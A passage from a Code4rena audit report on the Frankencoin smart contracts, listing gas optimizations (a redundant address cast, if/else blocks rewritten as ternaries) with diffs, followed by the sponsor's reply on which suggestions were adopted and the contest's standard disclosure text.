return true;
}[G-06] Unnecessary casting as variable is already of the same type
MintingHub.sol.clonePosition(): pos should not be cast to address as it’s declared as an address
File: /contracts/MintingHub.sol
124: function clonePosition(address position, uint256 _initialCollateral, uint256 _initialMint) public validPos(position) returns (address) {
125: IPosition existing = IPosition(position);
126: uint256 limit = existing.reduceLimitForClone(_initialMint);
127: address pos = POSITION_FACTORY.clonePosition(position);
128: zchf.registerPosition(pos);
129: existing.collateral().transferFrom(msg.sender, address(pos), _initialCollateral);
130: IPosition(pos).initializeClone(msg.sender, existing.price(), limit, _initialCollateral, _initialMint);
131: return address(pos);
132: }diff --git a/contracts/MintingHub.sol b/contracts/MintingHub.sol
index 663b205..c69c0c2 100644
--- a/contracts/MintingHub.sol
+++ b/contracts/MintingHub.sol
@@ -126,9 +126,9 @@ contract MintingHub {
uint256 limit = existing.reduceLimitForClone(_initialMint);
address pos = POSITION_FACTORY.clonePosition(position);
zchf.registerPosition(pos);
- existing.collateral().transferFrom(msg.sender, address(pos), _initialCollateral);
+ existing.collateral().transferFrom(msg.sender, pos, _initialCollateral);
IPosition(pos).initializeClone(msg.sender, existing.price(), limit, _initialCollateral, _initialMint);
- return address(pos);
+ return pos;
}Note: The following have some caveats, we can reduce the deployment size and deployment cost at the expense of execution cost
Shorthand if (We can rewrite the following )
File: /contracts/Frankencoin.sol
204: function calculateAssignedReserve(uint256 mintedAmount, uint32 _reservePPM) public view returns (uint256) {
205: uint256 theoreticalReserve = _reservePPM * mintedAmount / 1000000;
206: uint256 currentReserve = balanceOf(address(reserve));
207: if (currentReserve < minterReserve()){
208: // not enough reserves, owner has to take a loss
209: return theoreticalReserve * currentReserve / minterReserve();
210: } else {
211: return theoreticalReserve;
212: }
213: }diff --git a/contracts/Frankencoin.sol b/contracts/Frankencoin.sol
index e9e87dc..600b805 100644
--- a/contracts/Frankencoin.sol
+++ b/contracts/Frankencoin.sol
@@ -204,12 +204,7 @@ contract Frankencoin is ERC20PermitLight, IFrankencoin {
function calculateAssignedReserve(uint256 mintedAmount, uint32 _reservePPM) public view returns (uint256) {
uint256 theoreticalReserve = _reservePPM * mintedAmount / 1000000;
uint256 currentReserve = balanceOf(address(reserve));
- if (currentReserve < minterReserve()){
- // not enough reserves, owner has to take a loss
- return theoreticalReserve * currentReserve / minterReserve();
- } else {
- return theoreticalReserve;
- }
+ return currentReserve < minterReserve() ? theoreticalReserve * currentReserve / minterReserve() : theoreticalReserve;
}File: /contracts/Frankencoin.sol
138: function equity() public view returns (uint256) {
139: uint256 balance = balanceOf(address(reserve));
140: uint256 minReserve = minterReserve();
141: if (balance <= minReserve){
142: return 0;
143: } else {
144: return balance - minReserve;
145: }
146: }diff --git a/contracts/Frankencoin.sol b/contracts/Frankencoin.sol
index e9e87dc..f9fef16 100644
--- a/contracts/Frankencoin.sol
+++ b/contracts/Frankencoin.sol
@@ -138,11 +138,7 @@ contract Frankencoin is ERC20PermitLight, IFrankencoin {
function equity() public view returns (uint256) {
uint256 balance = balanceOf(address(reserve));
uint256 minReserve = minterReserve();
- if (balance <= minReserve){
- return 0;
- } else {
- return balance - minReserve;
- }
+ return balance <= minReserve ? 0 : balance - minReserve;
}File: /contracts/Position.sol
120: function getUsableMint(uint256 totalMint, bool afterFees) public view returns (uint256){
121: if (afterFees){
122: return totalMint * (1000_000 - reserveContribution - calculateCurrentFee()) / 1000_000;
123: } else {
124: return totalMint * (1000_000 - reserveContribution) / 1000_000;
125: }
126: }diff --git a/contracts/Position.sol b/contracts/Position.sol
index 3e18534..15183e9 100644
--- a/contracts/Position.sol
+++ b/contracts/Position.sol
@@ -118,11 +118,7 @@ contract Position is Ownable, IPosition, MathUtil {
* to buy reserve pool shares.
*/
function getUsableMint(uint256 totalMint, bool afterFees) public view returns (uint256){
- if (afterFees){
- return totalMint * (1000_000 - reserveContribution - calculateCurrentFee()) / 1000_000;
- } else {
- return totalMint * (1000_000 - reserveContribution) / 1000_000;
- }
+ return afterFees? totalMint * (1000_000 - reserveContribution - calculateCurrentFee()) / 1000_000 : totalMint * (1000_000 - reserveContribution) / 1000_000;
}File: /contracts/Position.sol
181: function calculateCurrentFee() public view returns (uint32) {
184: if (time >= exp){
185: return 0;
186: } else {
187: return uint32(mintingFeePPM - mintingFeePPM * (time - start) / (exp - start));
188: }
189: }diff --git a/contracts/Position.sol b/contracts/Position.sol
index 3e18534..9adc148 100644
--- a/contracts/Position.sol
+++ b/contracts/Position.sol
@@ -181,11 +181,7 @@ contract Position is Ownable, IPosition, MathUtil {
function calculateCurrentFee() public view returns (uint32) {
uint256 exp = expiration;
uint256 time = block.timestamp;
- if (time >= exp){
- return 0;
- } else {
- return uint32(mintingFeePPM - mintingFeePPM * (time - start) / (exp - start));
- }
+ return time >= exp ? 0 : uint32(mintingFeePPM - mintingFeePPM * (time - start) / (exp - start));
}luziusmeisser (Frankencoin) confirmed and commented:
Went through all of the issues and implemented the recommendations.
Exceptions:
- “Frankencoin.sol.suggestMinter(): Result of totalSupply() should be cached here(sad path)“: Here, totalSupply() is never called during normal operations as the && operator does not evaluate the second part if the first part is already false. So the recommendation would actually increase gas costs.
- “Frankencoin.sol.suggestMinter(): minters[_minter] should be cached in local storage”: Second access is not an read, but a write.
- “Using unchecked blocks to save gas”: I do not like this optimization as I value concise code higher than saving a little gas here.
- “shorthand if”: I usually prefer the longer version to increase readability.
Disclosures
C4 is an open organization governed by participants in the community.
C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.
C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.